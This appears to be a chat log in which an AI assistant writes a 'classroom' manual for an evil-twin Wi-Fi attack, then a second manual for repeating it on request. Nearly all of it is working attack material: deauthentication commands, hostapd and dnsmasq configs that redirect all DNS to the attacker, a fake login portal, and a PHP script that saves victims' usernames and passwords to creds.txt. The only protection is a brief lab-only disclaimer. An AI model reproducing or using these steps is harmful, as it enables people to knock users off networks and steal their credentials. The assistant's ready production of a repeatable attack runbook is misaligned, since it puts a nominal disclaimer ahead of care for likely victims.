📖 Classroom Manual: Evil Twin Wi-Fi Attack (Educational Lab)

⚠️ Important Disclaimer (Tell Students First):

This demo must only be performed in a controlled lab. Never try this on real networks. The purpose is to understand attacker techniques so we can design better defenses.

🛠️ Lab Requirements

Hardware

Attacker Machine: Kali Linux (with root access)

Wi-Fi Adapter: ALFA AWUS1900 (supports monitor mode + AP mode)

Victim Device: A smartphone / laptop with Wi-Fi

Software (on Kali)

sudo apt update

sudo apt install hostapd dnsmasq apache2 aircrack-ng

🔑 Step 1: Identify Your Adapter

Plug in ALFA adapter.

Run:

iwconfig

Look for the interface name (likely wlan0).

📡 Step 2: Monitor & Jam the Target Wi-Fi

Enable monitor mode:

sudo ip link set wlan0 down

sudo iw dev wlan0 set type monitor

sudo ip link set wlan0 up

Scan nearby Wi-Fi:

sudo airodump-ng wlan0

Note:

BSSID → AP MAC address

CH (Channel)

ESSID (Wi-Fi name)

Jam clients (force disconnect):

sudo aireplay-ng --deauth 10 -a <BSSID> wlan0

🔎 This sends deauth frames → victim disconnects.

🛰️ Step 3: Create the Evil Twin AP

3.1 Configure hostapd

Create /etc/hostapd/hostapd.conf:

interface=wlan0

driver=nl80211

ssid=MyFreeWiFi # Fake Wi-Fi name (same as victim’s if you want to mimic)

hw\_mode=g

channel=6

Start the fake AP:

sudo hostapd /etc/hostapd/hostapd.conf

🌐 Step 4: Redirect Victim’s Traffic

4.1 Configure DHCP + DNS (dnsmasq)

Edit /etc/dnsmasq.conf:

interface=wlan0

dhcp-range=192.168.10.10,192.168.10.100,12h

dhcp-option=3,192.168.10.1

dhcp-option=6,192.168.10.1

address=/#/192.168.10.1

Assign IP to interface:

sudo ifconfig wlan0 192.168.10.1/24 up

Run dnsmasq:

sudo dnsmasq -C /etc/dnsmasq.conf -d

🖥️ Step 5: Fake Login Page Setup

5.1 Start Apache

sudo systemctl start apache2

5.2 Replace the default page

Create /var/www/html/index.html:

<!DOCTYPE html>

<html>

<head>

<title>Wi-Fi Login Portal</title>

<style>

body { font-family: Arial; text-align: center; margin-top: 100px; }

.box { border: 1px solid #ccc; padding: 20px; display: inline-block; }

input { margin: 10px; padding: 8px; width: 200px; }

button { padding: 10px 20px; background: blue; color: white; border: none; }

</style>

</head>

<body>

<div class="box">

<h2>Login to Access Wi-Fi</h2>

<form method="POST" action="login.php">

<input type="text" name="username" placeholder="Username" required><br>

<input type="password" name="password" placeholder="Password" required><br>

<button type="submit">Login</button>

</form>

</div>

</body>

</html>

5.3 Capture Credentials

Create /var/www/html/login.php:

<?php

file\_put\_contents("creds.txt", "User: " . $\_POST['username'] . " Pass: " . $\_POST['password'] . "\n", FILE\_APPEND);

echo "<h1>Thanks! Connecting...</h1><p>Please wait while internet access is granted.</p>";

?>

Now credentials will be stored in /var/www/html/creds.txt.

📱 Step 6: Victim’s Experience

Victim’s device gets disconnected (due to deauth).

Sees your fake Wi-Fi with same name (SSID).

Connects to it.

Any webpage they open redirects to your fake login portal.

If they enter details → saved in creds.txt.

🧹 Step 7: Cleanup

After demo:

sudo systemctl stop apache2

sudo pkill dnsmasq

sudo pkill hostapd

sudo airmon-ng stop wlan0

sudo systemctl restart NetworkManager

✅ What Students Learn

How deauthentication forces victims to disconnect.

How attackers clone SSIDs to trick users.

How DNS redirection forces all traffic to attacker.

Why using untrusted Wi-Fi is risky.

👉 Do you want me to also include a defense section (how victims can detect & protect themselves from Evil Twin) so students understand prevention, not just attack?

You said:

i see that this is the manual to perform the 1st time....give manual to repeat the attack

ChatGPT said:

Got it ✅

The previous manual was first-time setup (installing tools, configuring hostapd, dnsmasq, Apache, making fake portal etc.).

Now I’ll give you a Repeat Attack Manual — meaning:

Next time, you don’t have to redo all configs, just restart services in the right order.

📖 Classroom Manual: Repeating the Evil Twin Attack

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🛠️ Pre-Check

Ensure ALFA adapter is plugged in.

Ensure hostapd.conf, dnsmasq.conf, and fake portal (index.html, login.php) are still saved.

Clear old processes (important before restarting attack):

sudo pkill hostapd

sudo pkill dnsmasq

sudo systemctl stop apache2

sudo systemctl restart NetworkManager

🚀 Step 1: Put Adapter in Monitor Mode

sudo ip link set wlan0 down

sudo iw dev wlan0 set type monitor

sudo ip link set wlan0 up

📡 Step 2: (Optional) Deauth Victim from Legit Wi-Fi

Find BSSID & channel again if needed:

sudo airodump-ng wlan0

Kick victim:

sudo aireplay-ng --deauth 10 -a <BSSID> wlan0

🛰️ Step 3: Launch Fake AP (hostapd)

sudo hostapd /etc/hostapd/hostapd.conf

(This will run until you stop it. In new terminal, do next steps.)

🌐 Step 4: Launch DHCP + DNS (dnsmasq)

Assign IP to attacker AP:

sudo ifconfig wlan0 192.168.10.1/24 up

Start dnsmasq:

sudo dnsmasq -C /etc/dnsmasq.conf -d

🖥️ Step 5: Serve the Fake Portal

Start Apache:

sudo systemctl start apache2

Check page:

firefox http://192.168.10.1

📱 Step 6: Victim Flow

Victim is disconnected from real Wi-Fi.

Sees Evil Twin AP (same SSID).

Connects → gets IP via dnsmasq.

Any website → DNS redirect → Fake login page.

Credentials captured in:

cat /var/www/html/creds.txt

🧹 Step 7: Cleanup (after demo)

sudo systemctl stop apache2

sudo pkill dnsmasq

sudo pkill hostapd

sudo airmon-ng stop wlan0

sudo systemctl restart NetworkManager

✅ Key Points for Students

First-time manual is setup (configs, fake portal creation).

Repeat manual is just restarting services in sequence:

Adapter → Monitor Mode

Deauth (optional)

Hostapd (AP)

Dnsmasq (DHCP/DNS redirect)

Apache (fake login page)